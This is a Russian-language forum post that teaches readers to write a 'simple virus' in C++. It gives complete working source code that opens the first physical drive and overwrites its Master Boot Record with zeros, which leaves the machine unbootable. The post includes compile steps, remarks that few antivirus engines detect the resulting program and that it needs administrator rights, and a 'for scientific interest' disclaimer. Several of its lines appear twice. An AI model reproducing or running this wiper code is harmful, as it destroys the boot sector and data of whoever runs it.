Здравствуйте,с вами rafamont.
Решил написать статью. Мы будем писать простенький вирус на c++
Будет чистить MBR(сектор диска,который отвечает за загрузку ОС)
Для этого дела нам понадобятся:
Если у вас руки с того места,и я не лоханулся когда писал код,то у вас все получится
Автор и команда форума не несет ответственности за ваши действия. Все делается ради научного интереса :)
Решил написать статью. Мы будем писать простенький вирус на c++
Будет чистить MBR(сектор диска,который отвечает за загрузку ОС)
Для этого дела нам понадобятся:
- Visual Studio(Можно и другой компилятор)
- Руки
- Извилины в мозге
- Для начала запускаем Visual Studio(Я использую версию 2017)
- Нажимаем "Файл" -> "Создать" -> "Проект" -> C++ -> Пустой проектПосмотреть вложение 29309
- Добавляем элемент(Файл с++,.cpp)Посмотреть вложение 29311
- Далее пишем следующий код:
Код:#include<iostream> #include<Windows.h> #include<tchar.h> using namespace std; #define MBR_SIZE 512 int main() { DWORD write; char mbrData[MBR_SIZE]; ZeroMemory(&mbrData, (sizeof mbrData)); HANDLE MasterBootRecord = CreateFile("\\\\.\\PhysicalDrive0" ,GENERIC_ALL, FILE_SHARE_READ|FILE_SHARE_WRITE, NULL, OPEN_EXISTING ,NULL ,NULL); if (WriteFile(MasterBootRecord, mbrData, MBR_SIZE, &write, NULL) == TRUE) { cout << "Master Boot Record is over written!" << endl; Sleep(5000); ExitProcess(0); } else { cout << "Fail"; Sleep(5000); ExitProcess(0); } CloseHandle(MasterBootRecord); return EXIT_SUCCESS; }
- Далее компилируем без запуска shift + ctrl + b
- Все почти готово. Теперь заходим в папку проекта(по дефолту - c:\users\rafamont\source\repos\Имя проекта). Открываем папку Debug и видим файл Имя_Проекта.exe
- Данный файл и есть наш вирус
Если у вас руки с того места,и я не лоханулся когда писал код,то у вас все получится
- Палит его 2 ноунейма
- Но,надо запускать от администратора
Автор и команда форума не несет ответственности за ваши действия. Все делается ради научного интереса :)